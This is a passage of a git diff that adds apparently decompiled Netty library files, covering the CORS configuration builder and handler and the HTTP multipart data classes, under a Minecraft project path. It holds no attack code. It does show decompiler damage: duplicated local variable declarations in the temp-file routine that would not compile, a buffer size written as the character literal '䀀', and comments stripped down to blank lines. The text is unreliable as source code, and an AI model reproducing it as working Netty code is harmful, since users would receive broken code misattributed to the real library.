+  public static CorsConfigBuilder forOrigin(String origin)
+  {
+    if ("*".equals(origin)) {
+      return new CorsConfigBuilder();
+    }
+    return new CorsConfigBuilder(new String[] { origin });
+  }
+  
+
+
+
+
+  public static CorsConfigBuilder forOrigins(String... origins)
+  {
+    return new CorsConfigBuilder(origins);
+  }
+  
+
+
+
+  boolean enabled = true;
+  boolean allowCredentials;
+  final Set<String> exposeHeaders = new HashSet();
+  long maxAge;
+  final Set<HttpMethod> requestMethods = new HashSet();
+  final Set<String> requestHeaders = new HashSet();
+  final Map<CharSequence, Callable<?>> preflightHeaders = new HashMap();
+  
+
+  private boolean noPreflightHeaders;
+  
+  boolean shortCircuit;
+  
+
+  CorsConfigBuilder(String... origins)
+  {
+    this.origins = new LinkedHashSet(Arrays.asList(origins));
+    anyOrigin = false;
+  }
+  
+
+
+
+
+  CorsConfigBuilder()
+  {
+    anyOrigin = true;
+    origins = Collections.emptySet();
+  }
+  
+
+
+
+
+
+
+  public CorsConfigBuilder allowNullOrigin()
+  {
+    allowNullOrigin = true;
+    return this;
+  }
+  
+
+
+
+
+  public CorsConfigBuilder disable()
+  {
+    enabled = false;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CorsConfigBuilder exposeHeaders(String... headers)
+  {
+    exposeHeaders.addAll(Arrays.asList(headers));
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CorsConfigBuilder allowCredentials()
+  {
+    allowCredentials = true;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public CorsConfigBuilder maxAge(long max)
+  {
+    maxAge = max;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public CorsConfigBuilder allowedRequestMethods(HttpMethod... methods)
+  {
+    requestMethods.addAll(Arrays.asList(methods));
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CorsConfigBuilder allowedRequestHeaders(String... headers)
+  {
+    requestHeaders.addAll(Arrays.asList(headers));
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public CorsConfigBuilder preflightResponseHeader(CharSequence name, Object... values)
+  {
+    if (values.length == 1) {
+      preflightHeaders.put(name, new ConstantValueGenerator(values[0], null));
+    } else {
+      preflightResponseHeader(name, Arrays.asList(values));
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public <T> CorsConfigBuilder preflightResponseHeader(CharSequence name, Iterable<T> value)
+  {
+    preflightHeaders.put(name, new ConstantValueGenerator(value, null));
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> CorsConfigBuilder preflightResponseHeader(CharSequence name, Callable<T> valueGenerator)
+  {
+    preflightHeaders.put(name, valueGenerator);
+    return this;
+  }
+  
+
+
+
+
+  public CorsConfigBuilder noPreflightResponseHeaders()
+  {
+    noPreflightHeaders = true;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public CorsConfigBuilder shortCircuit()
+  {
+    shortCircuit = true;
+    return this;
+  }
+  
+
+
+
+
+  public CorsConfig build()
+  {
+    if ((preflightHeaders.isEmpty()) && (!noPreflightHeaders)) {
+      preflightHeaders.put(HttpHeaderNames.DATE, DateValueGenerator.INSTANCE);
+      preflightHeaders.put(HttpHeaderNames.CONTENT_LENGTH, new ConstantValueGenerator("0", null));
+    }
+    return new CorsConfig(this);
+  }
+  
+
+
+
+
+  private static final class ConstantValueGenerator
+    implements Callable<Object>
+  {
+    private final Object value;
+    
+
+
+
+
+    private ConstantValueGenerator(Object value)
+    {
+      if (value == null) {
+        throw new IllegalArgumentException("value must not be null");
+      }
+      this.value = value;
+    }
+    
+    public Object call()
+    {
+      return value;
+    }
+  }
+  
+
+
+
+
+  private static final class DateValueGenerator
+    implements Callable<Date>
+  {
+    static final DateValueGenerator INSTANCE = new DateValueGenerator();
+    
+    private DateValueGenerator() {}
+    
+    public Date call() throws Exception { return new Date(); }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/cors/CorsHandler.java b/src/minecraft/io/netty/handler/codec/http/cors/CorsHandler.java
new file mode 100644
index 0000000..303d4be
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/cors/CorsHandler.java
@@ -0,0 +1,202 @@
+package io.netty.handler.codec.http.cors;
+
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CorsHandler
+  extends ChannelDuplexHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(CorsHandler.class);
+  private final CorsConfig config;
+  private HttpRequest request;
+  
+  public CorsHandler(CorsConfig config)
+  {
+    this.config = config;
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    if ((config.isCorsSupportEnabled()) && ((msg instanceof HttpRequest))) {
+      request = ((HttpRequest)msg);
+      if (isPreflightRequest(request)) {
+        handlePreflight(ctx, request);
+        return;
+      }
+      if ((config.isShortCurcuit()) && (!validateOrigin())) {
+        forbidden(ctx, request);
+        return;
+      }
+    }
+    ctx.fireChannelRead(msg);
+  }
+  
+  private void handlePreflight(ChannelHandlerContext ctx, HttpRequest request) {
+    HttpResponse response = new DefaultFullHttpResponse(request.getProtocolVersion(), HttpResponseStatus.OK);
+    if (setOrigin(response)) {
+      setAllowMethods(response);
+      setAllowHeaders(response);
+      setAllowCredentials(response);
+      setMaxAge(response);
+      setPreflightHeaders(response);
+    }
+    ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
+  }
+  
+
+
+
+
+
+  private void setPreflightHeaders(HttpResponse response)
+  {
+    response.headers().add(config.preflightResponseHeaders());
+  }
+  
+  private boolean setOrigin(HttpResponse response) {
+    String origin = request.headers().get("Origin");
+    if (origin != null) {
+      if (("null".equals(origin)) && (config.isNullOriginAllowed())) {
+        setAnyOrigin(response);
+        return true;
+      }
+      if (config.isAnyOriginSupported()) {
+        if (config.isCredentialsAllowed()) {
+          echoRequestOrigin(response);
+          setVaryHeader(response);
+        } else {
+          setAnyOrigin(response);
+        }
+        return true;
+      }
+      if (config.origins().contains(origin)) {
+        setOrigin(response, origin);
+        setVaryHeader(response);
+        return true;
+      }
+      logger.debug("Request origin [" + origin + "] was not among the configured origins " + config.origins());
+    }
+    return false;
+  }
+  
+  private boolean validateOrigin() {
+    if (config.isAnyOriginSupported()) {
+      return true;
+    }
+    
+    String origin = request.headers().get("Origin");
+    if (origin == null)
+    {
+      return true;
+    }
+    
+    if (("null".equals(origin)) && (config.isNullOriginAllowed())) {
+      return true;
+    }
+    
+    return config.origins().contains(origin);
+  }
+  
+  private void echoRequestOrigin(HttpResponse response) {
+    setOrigin(response, request.headers().get("Origin"));
+  }
+  
+  private static void setVaryHeader(HttpResponse response) {
+    response.headers().set("Vary", "Origin");
+  }
+  
+  private static void setAnyOrigin(HttpResponse response) {
+    setOrigin(response, "*");
+  }
+  
+  private static void setOrigin(HttpResponse response, String origin) {
+    response.headers().set("Access-Control-Allow-Origin", origin);
+  }
+  
+  private void setAllowCredentials(HttpResponse response) {
+    if (config.isCredentialsAllowed()) {
+      response.headers().set("Access-Control-Allow-Credentials", "true");
+    }
+  }
+  
+  private static boolean isPreflightRequest(HttpRequest request) {
+    HttpHeaders headers = request.headers();
+    return (request.getMethod().equals(HttpMethod.OPTIONS)) && (headers.contains("Origin")) && (headers.contains("Access-Control-Request-Method"));
+  }
+  
+
+  private void setExposeHeaders(HttpResponse response)
+  {
+    if (!config.exposedHeaders().isEmpty()) {
+      response.headers().set("Access-Control-Expose-Headers", config.exposedHeaders());
+    }
+  }
+  
+  private void setAllowMethods(HttpResponse response) {
+    response.headers().set("Access-Control-Allow-Methods", config.allowedRequestMethods());
+  }
+  
+  private void setAllowHeaders(HttpResponse response) {
+    response.headers().set("Access-Control-Allow-Headers", config.allowedRequestHeaders());
+  }
+  
+  private void setMaxAge(HttpResponse response) {
+    response.headers().set("Access-Control-Max-Age", Long.valueOf(config.maxAge()));
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    if ((config.isCorsSupportEnabled()) && ((msg instanceof HttpResponse))) {
+      HttpResponse response = (HttpResponse)msg;
+      if (setOrigin(response)) {
+        setAllowCredentials(response);
+        setAllowHeaders(response);
+        setExposeHeaders(response);
+      }
+    }
+    ctx.writeAndFlush(msg, promise);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    logger.error("Caught error in CorsHandler", cause);
+    ctx.fireExceptionCaught(cause);
+  }
+  
+  private static void forbidden(ChannelHandlerContext ctx, HttpRequest request) {
+    ctx.writeAndFlush(new DefaultFullHttpResponse(request.getProtocolVersion(), HttpResponseStatus.FORBIDDEN)).addListener(ChannelFutureListener.CLOSE);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java b/src/minecraft/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java
new file mode 100644
index 0000000..a57f233
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java
@@ -0,0 +1,385 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.http.HttpConstants;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractDiskHttpData
+  extends AbstractHttpData
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(AbstractDiskHttpData.class);
+  protected File file;
+  private boolean isRenamed;
+  private FileChannel fileChannel;
+  
+  protected AbstractDiskHttpData(String name, Charset charset, long size)
+  {
+    super(name, charset, size);
+  }
+  
+
+
+
+  protected abstract String getDiskFilename();
+  
+
+
+
+  protected abstract String getPrefix();
+  
+
+
+
+  protected abstract String getBaseDirectory();
+  
+
+
+
+  protected abstract String getPostfix();
+  
+
+
+
+  protected abstract boolean deleteOnExit();
+  
+
+
+
+  private File tempFile()
+    throws IOException
+  {
+    String diskFilename = getDiskFilename();
+    String newpostfix; String newpostfix; if (diskFilename != null) {
+      newpostfix = '_' + diskFilename;
+    } else
+      newpostfix = getPostfix();
+    File tmpFile;
+    File tmpFile;
+    if (getBaseDirectory() == null)
+    {
+      tmpFile = File.createTempFile(getPrefix(), newpostfix);
+    } else {
+      tmpFile = File.createTempFile(getPrefix(), newpostfix, new File(getBaseDirectory()));
+    }
+    
+    if (deleteOnExit()) {
+      tmpFile.deleteOnExit();
+    }
+    return tmpFile;
+  }
+  
+  public void setContent(ByteBuf buffer) throws IOException
+  {
+    if (buffer == null) {
+      throw new NullPointerException("buffer");
+    }
+    try {
+      size = buffer.readableBytes();
+      if ((definedSize > 0L) && (definedSize < size)) {
+        throw new IOException("Out of size: " + size + " > " + definedSize);
+      }
+      if (file == null) {
+        file = tempFile();
+      }
+      if (buffer.readableBytes() == 0)
+      {
+        file.createNewFile();
+      }
+      else {
+        FileOutputStream outputStream = new FileOutputStream(file);
+        FileChannel localfileChannel = outputStream.getChannel();
+        ByteBuffer byteBuffer = buffer.nioBuffer();
+        int written = 0;
+        while (written < size) {
+          written += localfileChannel.write(byteBuffer);
+        }
+        buffer.readerIndex(buffer.readerIndex() + written);
+        localfileChannel.force(false);
+        localfileChannel.close();
+        outputStream.close();
+        completed = true;
+      }
+    }
+    finally {
+      buffer.release();
+    }
+  }
+  
+  public void addContent(ByteBuf buffer, boolean last)
+    throws IOException
+  {
+    if (buffer != null) {
+      try {
+        int localsize = buffer.readableBytes();
+        if ((definedSize > 0L) && (definedSize < size + localsize)) {
+          throw new IOException("Out of size: " + (size + localsize) + " > " + definedSize);
+        }
+        
+        ByteBuffer byteBuffer = buffer.nioBufferCount() == 1 ? buffer.nioBuffer() : buffer.copy().nioBuffer();
+        int written = 0;
+        if (file == null) {
+          file = tempFile();
+        }
+        if (fileChannel == null) {
+          FileOutputStream outputStream = new FileOutputStream(file);
+          fileChannel = outputStream.getChannel();
+        }
+        while (written < localsize) {
+          written += fileChannel.write(byteBuffer);
+        }
+        size += localsize;
+        buffer.readerIndex(buffer.readerIndex() + written);
+      }
+      finally
+      {
+        buffer.release();
+      }
+    }
+    if (last) {
+      if (file == null) {
+        file = tempFile();
+      }
+      if (fileChannel == null) {
+        FileOutputStream outputStream = new FileOutputStream(file);
+        fileChannel = outputStream.getChannel();
+      }
+      fileChannel.force(false);
+      fileChannel.close();
+      fileChannel = null;
+      completed = true;
+    }
+    else if (buffer == null) {
+      throw new NullPointerException("buffer");
+    }
+  }
+  
+  public void setContent(File file)
+    throws IOException
+  {
+    if (this.file != null) {
+      delete();
+    }
+    this.file = file;
+    size = file.length();
+    isRenamed = true;
+    completed = true;
+  }
+  
+  public void setContent(InputStream inputStream) throws IOException
+  {
+    if (inputStream == null) {
+      throw new NullPointerException("inputStream");
+    }
+    if (file != null) {
+      delete();
+    }
+    file = tempFile();
+    FileOutputStream outputStream = new FileOutputStream(file);
+    FileChannel localfileChannel = outputStream.getChannel();
+    byte[] bytes = new byte['䀀'];
+    ByteBuffer byteBuffer = ByteBuffer.wrap(bytes);
+    int read = inputStream.read(bytes);
+    int written = 0;
+    while (read > 0) {
+      byteBuffer.position(read).flip();
+      written += localfileChannel.write(byteBuffer);
+      read = inputStream.read(bytes);
+    }
+    localfileChannel.force(false);
+    localfileChannel.close();
+    size = written;
+    if ((definedSize > 0L) && (definedSize < size)) {
+      file.delete();
+      file = null;
+      throw new IOException("Out of size: " + size + " > " + definedSize);
+    }
+    isRenamed = true;
+    completed = true;
+  }
+  
+  public void delete()
+  {
+    if (fileChannel != null) {
+      try {
+        fileChannel.force(false);
+        fileChannel.close();
+      } catch (IOException e) {
+        logger.warn("Failed to close a file.", e);
+      }
+      fileChannel = null;
+    }
+    if (!isRenamed) {
+      if ((file != null) && (file.exists())) {
+        file.delete();
+      }
+      file = null;
+    }
+  }
+  
+  public byte[] get() throws IOException
+  {
+    if (file == null) {
+      return EmptyArrays.EMPTY_BYTES;
+    }
+    return readFrom(file);
+  }
+  
+  public ByteBuf getByteBuf() throws IOException
+  {
+    if (file == null) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    byte[] array = readFrom(file);
+    return Unpooled.wrappedBuffer(array);
+  }
+  
+  public ByteBuf getChunk(int length) throws IOException
+  {
+    if ((file == null) || (length == 0)) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    if (fileChannel == null) {
+      FileInputStream inputStream = new FileInputStream(file);
+      fileChannel = inputStream.getChannel();
+    }
+    int read = 0;
+    ByteBuffer byteBuffer = ByteBuffer.allocate(length);
+    while (read < length) {
+      int readnow = fileChannel.read(byteBuffer);
+      if (readnow == -1) {
+        fileChannel.close();
+        fileChannel = null;
+        break;
+      }
+      read += readnow;
+    }
+    
+    if (read == 0) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    byteBuffer.flip();
+    ByteBuf buffer = Unpooled.wrappedBuffer(byteBuffer);
+    buffer.readerIndex(0);
+    buffer.writerIndex(read);
+    return buffer;
+  }
+  
+  public String getString() throws IOException
+  {
+    return getString(HttpConstants.DEFAULT_CHARSET);
+  }
+  
+  public String getString(Charset encoding) throws IOException
+  {
+    if (file == null) {
+      return "";
+    }
+    if (encoding == null) {
+      byte[] array = readFrom(file);
+      return new String(array, HttpConstants.DEFAULT_CHARSET.name());
+    }
+    byte[] array = readFrom(file);
+    return new String(array, encoding.name());
+  }
+  
+  public boolean isInMemory()
+  {
+    return false;
+  }
+  
+  public boolean renameTo(File dest) throws IOException
+  {
+    if (dest == null) {
+      throw new NullPointerException("dest");
+    }
+    if (file == null) {
+      throw new IOException("No file defined so cannot be renamed");
+    }
+    if (!file.renameTo(dest))
+    {
+      FileInputStream inputStream = new FileInputStream(file);
+      FileOutputStream outputStream = new FileOutputStream(dest);
+      FileChannel in = inputStream.getChannel();
+      FileChannel out = outputStream.getChannel();
+      int chunkSize = 8196;
+      long position = 0L;
+      while (position < size) {
+        if (chunkSize < size - position) {
+          chunkSize = (int)(size - position);
+        }
+        position += in.transferTo(position, chunkSize, out);
+      }
+      in.close();
+      out.close();
+      if (position == size) {
+        file.delete();
+        file = dest;
+        isRenamed = true;
+        return true;
+      }
+      dest.delete();
+      return false;
+    }
+    
+    file = dest;
+    isRenamed = true;
+    return true;
+  }
+  
+
+
+  private static byte[] readFrom(File src)
+    throws IOException
+  {
+    long srcsize = src.length();
+    if (srcsize > 2147483647L) {
+      throw new IllegalArgumentException("File too big to be loaded in memory");
+    }
+    
+    FileInputStream inputStream = new FileInputStream(src);
+    FileChannel fileChannel = inputStream.getChannel();
+    byte[] array = new byte[(int)srcsize];
+    ByteBuffer byteBuffer = ByteBuffer.wrap(array);
+    int read = 0;
+    while (read < srcsize) {
+      read += fileChannel.read(byteBuffer);
+    }
+    fileChannel.close();
+    return array;
+  }
+  
+  public File getFile() throws IOException
+  {
+    return file;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/AbstractHttpData.java b/src/minecraft/io/netty/handler/codec/http/multipart/AbstractHttpData.java
new file mode 100644
index 0000000..e2a89c2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/AbstractHttpData.java
@@ -0,0 +1,113 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelException;
+import io.netty.handler.codec.http.HttpConstants;
+import io.netty.util.AbstractReferenceCounted;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractHttpData
+  extends AbstractReferenceCounted
+  implements HttpData
+{
+  private static final Pattern STRIP_PATTERN = Pattern.compile("(?:^\\s+|\\s+$|\\n)");
+  private static final Pattern REPLACE_PATTERN = Pattern.compile("[\\r\\t]");
+  
+  protected final String name;
+  protected long definedSize;
+  protected long size;
+  protected Charset charset = HttpConstants.DEFAULT_CHARSET;
+  protected boolean completed;
+  
+  protected AbstractHttpData(String name, Charset charset, long size) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    name = REPLACE_PATTERN.matcher(name).replaceAll(" ");
+    name = STRIP_PATTERN.matcher(name).replaceAll("");
+    
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("empty name");
+    }
+    
+    this.name = name;
+    if (charset != null) {
+      setCharset(charset);
+    }
+    definedSize = size;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public boolean isCompleted()
+  {
+    return completed;
+  }
+  
+  public Charset getCharset()
+  {
+    return charset;
+  }
+  
+  public void setCharset(Charset charset)
+  {
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    this.charset = charset;
+  }
+  
+  public long length()
+  {
+    return size;
+  }
+  
+  public ByteBuf content()
+  {
+    try {
+      return getByteBuf();
+    } catch (IOException e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  protected void deallocate()
+  {
+    delete();
+  }
+  
+  public HttpData retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public HttpData retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/AbstractMemoryHttpData.java b/src/minecraft/io/netty/handler/codec/http/multipart/AbstractMemoryHttpData.java
new file mode 100644
index 0000000..fa20c7f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/AbstractMemoryHttpData.java
@@ -0,0 +1,257 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.http.HttpConstants;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractMemoryHttpData
+  extends AbstractHttpData
+{
+  private ByteBuf byteBuf;
+  private int chunkPosition;
+  protected boolean isRenamed;
+  
+  protected AbstractMemoryHttpData(String name, Charset charset, long size)
+  {
+    super(name, charset, size);
+  }
+  
+  public void setContent(ByteBuf buffer) throws IOException
+  {
+    if (buffer == null) {
+      throw new NullPointerException("buffer");
+    }
+    long localsize = buffer.readableBytes();
+    if ((definedSize > 0L) && (definedSize < localsize)) {
+      throw new IOException("Out of size: " + localsize + " > " + definedSize);
+    }
+    
+    if (byteBuf != null) {
+      byteBuf.release();
+    }
+    byteBuf = buffer;
+    size = localsize;
+    completed = true;
+  }
+  
+  public void setContent(InputStream inputStream) throws IOException
+  {
+    if (inputStream == null) {
+      throw new NullPointerException("inputStream");
+    }
+    ByteBuf buffer = Unpooled.buffer();
+    byte[] bytes = new byte['䀀'];
+    int read = inputStream.read(bytes);
+    int written = 0;
+    while (read > 0) {
+      buffer.writeBytes(bytes, 0, read);
+      written += read;
+      read = inputStream.read(bytes);
+    }
+    size = written;
+    if ((definedSize > 0L) && (definedSize < size)) {
+      throw new IOException("Out of size: " + size + " > " + definedSize);
+    }
+    if (byteBuf != null) {
+      byteBuf.release();
+    }
+    byteBuf = buffer;
+    completed = true;
+  }
+  
+  public void addContent(ByteBuf buffer, boolean last)
+    throws IOException
+  {
+    if (buffer != null) {
+      long localsize = buffer.readableBytes();
+      if ((definedSize > 0L) && (definedSize < size + localsize)) {
+        throw new IOException("Out of size: " + (size + localsize) + " > " + definedSize);
+      }
+      
+      size += localsize;
+      if (byteBuf == null) {
+        byteBuf = buffer;
+      } else if ((byteBuf instanceof CompositeByteBuf)) {
+        CompositeByteBuf cbb = (CompositeByteBuf)byteBuf;
+        cbb.addComponent(buffer);
+        cbb.writerIndex(cbb.writerIndex() + buffer.readableBytes());
+      } else {
+        CompositeByteBuf cbb = Unpooled.compositeBuffer(Integer.MAX_VALUE);
+        cbb.addComponents(new ByteBuf[] { byteBuf, buffer });
+        cbb.writerIndex(byteBuf.readableBytes() + buffer.readableBytes());
+        byteBuf = cbb;
+      }
+    }
+    if (last) {
+      completed = true;
+    }
+    else if (buffer == null) {
+      throw new NullPointerException("buffer");
+    }
+  }
+  
+  public void setContent(File file)
+    throws IOException
+  {
+    if (file == null) {
+      throw new NullPointerException("file");
+    }
+    long newsize = file.length();
+    if (newsize > 2147483647L) {
+      throw new IllegalArgumentException("File too big to be loaded in memory");
+    }
+    
+    FileInputStream inputStream = new FileInputStream(file);
+    FileChannel fileChannel = inputStream.getChannel();
+    byte[] array = new byte[(int)newsize];
+    ByteBuffer byteBuffer = ByteBuffer.wrap(array);
+    int read = 0;
+    while (read < newsize) {
+      read += fileChannel.read(byteBuffer);
+    }
+    fileChannel.close();
+    inputStream.close();
+    byteBuffer.flip();
+    if (byteBuf != null) {
+      byteBuf.release();
+    }
+    byteBuf = Unpooled.wrappedBuffer(Integer.MAX_VALUE, new ByteBuffer[] { byteBuffer });
+    size = newsize;
+    completed = true;
+  }
+  
+  public void delete()
+  {
+    if (byteBuf != null) {
+      byteBuf.release();
+      byteBuf = null;
+    }
+  }
+  
+  public byte[] get()
+  {
+    if (byteBuf == null) {
+      return Unpooled.EMPTY_BUFFER.array();
+    }
+    byte[] array = new byte[byteBuf.readableBytes()];
+    byteBuf.getBytes(byteBuf.readerIndex(), array);
+    return array;
+  }
+  
+  public String getString()
+  {
+    return getString(HttpConstants.DEFAULT_CHARSET);
+  }
+  
+  public String getString(Charset encoding)
+  {
+    if (byteBuf == null) {
+      return "";
+    }
+    if (encoding == null) {
+      encoding = HttpConstants.DEFAULT_CHARSET;
+    }
+    return byteBuf.toString(encoding);
+  }
+  
+
+
+
+
+
+  public ByteBuf getByteBuf()
+  {
+    return byteBuf;
+  }
+  
+  public ByteBuf getChunk(int length) throws IOException
+  {
+    if ((byteBuf == null) || (length == 0) || (byteBuf.readableBytes() == 0)) {
+      chunkPosition = 0;
+      return Unpooled.EMPTY_BUFFER;
+    }
+    int sizeLeft = byteBuf.readableBytes() - chunkPosition;
+    if (sizeLeft == 0) {
+      chunkPosition = 0;
+      return Unpooled.EMPTY_BUFFER;
+    }
+    int sliceLength = length;
+    if (sizeLeft < length) {
+      sliceLength = sizeLeft;
+    }
+    ByteBuf chunk = byteBuf.slice(chunkPosition, sliceLength).retain();
+    chunkPosition += sliceLength;
+    return chunk;
+  }
+  
+  public boolean isInMemory()
+  {
+    return true;
+  }
+  
+  public boolean renameTo(File dest) throws IOException
+  {
+    if (dest == null) {
+      throw new NullPointerException("dest");
+    }
+    if (byteBuf == null)
+    {
+      dest.createNewFile();
+      isRenamed = true;
+      return true;
+    }
+    int length = byteBuf.readableBytes();
+    FileOutputStream outputStream = new FileOutputStream(dest);
+    FileChannel fileChannel = outputStream.getChannel();
+    int written = 0;
+    if (byteBuf.nioBufferCount() == 1) {
+      ByteBuffer byteBuffer = byteBuf.nioBuffer();
+      while (written < length) {
+        written += fileChannel.write(byteBuffer);
+      }
+    } else {
+      ByteBuffer[] byteBuffers = byteBuf.nioBuffers();
+      while (written < length) {
+        written = (int)(written + fileChannel.write(byteBuffers));
+      }
+    }
+    
+    fileChannel.force(false);
+    fileChannel.close();
+    outputStream.close();
+    isRenamed = true;
+    return written == length;
+  }
+  
+  public File getFile() throws IOException
+  {
+    throw new IOException("Not represented by a file");
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/Attribute.java b/src/minecraft/io/netty/handler/codec/http/multipart/Attribute.java
new file mode 100644
index 0000000..690b53d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/Attribute.java
@@ -0,0 +1,21 @@
+package io.netty.handler.codec.http.multipart;
+
+import java.io.IOException;
+
+public abstract interface Attribute
+  extends HttpData
+{
+  public abstract String getValue()
+    throws IOException;
+  
+  public abstract void setValue(String paramString)
+    throws IOException;
+  
+  public abstract Attribute copy();
+  
+  public abstract Attribute duplicate();
+  
+  public abstract Attribute retain();
+  
+  public abstract Attribute retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/CaseIgnoringComparator.java b/src/minecraft/io/netty/handler/codec/http/multipart/CaseIgnoringComparator.java
new file mode 100644
index 0000000..f8586bc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/CaseIgnoringComparator.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.http.multipart;
+
+import java.io.Serializable;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CaseIgnoringComparator
+  implements Comparator<CharSequence>, Serializable
+{
+  private static final long serialVersionUID = 4582133183775373862L;
+  static final CaseIgnoringComparator INSTANCE = new CaseIgnoringComparator();
+  
+
+  private CaseIgnoringComparator() {}
+  
+  public int compare(CharSequence o1, CharSequence o2)
+  {
+    int o1Length = o1.length();
+    int o2Length = o2.length();
+    int min = Math.min(o1Length, o2Length);
+    for (int i = 0; i < min; i++) {
+      char c1 = o1.charAt(i);
+      char c2 = o2.charAt(i);
+      if (c1 != c2) {
+        c1 = Character.toUpperCase(c1);
+        c2 = Character.toUpperCase(c2);
+        if (c1 != c2) {
+          c1 = Character.toLowerCase(c1);
+          c2 = Character.toLowerCase(c2);
+          if (c1 != c2) {
+            return c1 - c2;
+          }
+        }
+      }
+    }
+    return o1Length - o2Length;
+  }
+  
+  private Object readResolve() {
+    return INSTANCE;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/DefaultHttpDataFactory.java b/src/minecraft/io/netty/handler/codec/http/multipart/DefaultHttpDataFactory.java
new file mode 100644
index 0000000..e1ac8b0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/DefaultHttpDataFactory.java
@@ -0,0 +1,195 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.util.internal.PlatformDependent;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttpDataFactory
+  implements HttpDataFactory
+{
+  public static final long MINSIZE = 16384L;
+  private final boolean useDisk;
+  private final boolean checkSize;
+  private long minSize;
+  private final Map<HttpRequest, List<HttpData>> requestFileDeleteMap = PlatformDependent.newConcurrentHashMap();
+  
+
+
+
+  public DefaultHttpDataFactory()
+  {
+    useDisk = false;
+    checkSize = true;
+    minSize = 16384L;
+  }
